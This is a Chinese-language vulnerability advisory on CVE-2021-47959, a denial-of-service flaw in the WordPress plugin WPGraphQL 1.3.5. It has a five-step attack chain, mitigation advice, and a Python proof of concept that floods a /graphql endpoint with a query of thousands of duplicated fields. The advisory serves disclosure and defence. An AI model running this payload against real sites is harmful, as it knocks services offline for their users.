IPBUF安全漏洞报告
English
CVE-2021-47959 CVSS 7.5 高危

CVE-2021-47959 WordPress WPGraphQL插件拒绝服务漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2021-47959
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Plugin WPGraphQL

相关标签

拒绝服务WordPressWPGraphQLDoSGraphQL

漏洞概述

WordPress Plugin WPGraphQL 1.3.5版本存在拒绝服务漏洞。未经身份认证的攻击者可利用该漏洞,通过发送包含大量重复字段的批量GraphQL查询请求,耗尽服务器内存和数据库连接资源,从而导致服务不可用。

技术细节

该漏洞源于WPGraphQL在处理GraphQL查询时,未对字段重复数量及查询复杂度进行有效限制。攻击者可以构造特制的POST请求发送至/graphql端点,其中包含经过放大的、带有大量重复字段的批量查询Payload。当服务器尝试解析并执行这些恶意查询时,会消耗极大的CPU和内存资源,最终导致OutOfMemory错误或MySQL连接池耗尽,实现拒绝服务攻击。

攻击链分析

STEP 1
侦察
识别目标WordPress站点是否安装并启用了WPGraphQL插件,并确定GraphQL端点位置(通常为/graphql)。
STEP 2
武器化
构造包含大量重复字段的恶意GraphQL查询Payload,利用批处理或深层嵌套结构。
STEP 3
投递
向目标服务器的GraphQL端点发送POST请求,传递构造好的恶意Payload。
STEP 4
利用
服务器解析并执行恶意查询,导致内存迅速耗尽或数据库连接数满载。
STEP 5
影响
服务器响应变慢、崩溃或返回500/502错误,导致正常用户无法访问服务(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://example.com/graphql" # Construct a payload with massive field duplication to trigger resource exhaustion # Repeating a simple field thousands of times within a query duplicated_fields = "id title content " * 5000 malicious_query = f""" {{ posts {{ nodes {{ {duplicated_fields} }} }} }} """ payload = { "query": malicious_query } try: print("Sending malicious payload...") response = requests.post(target_url, json=payload, timeout=10) print(f"Response Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Attack successful or request failed: {e}")

影响范围

WordPress Plugin WPGraphQL 1.3.5

防御指南

临时缓解措施
建议立即将WPGraphQL插件更新到修复了该漏洞的最新版本。如果暂时无法升级,应在服务器端配置请求速率限制,并严格限制传入GraphQL请求的大小,阻止包含异常大量重复字段的请求到达后端。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表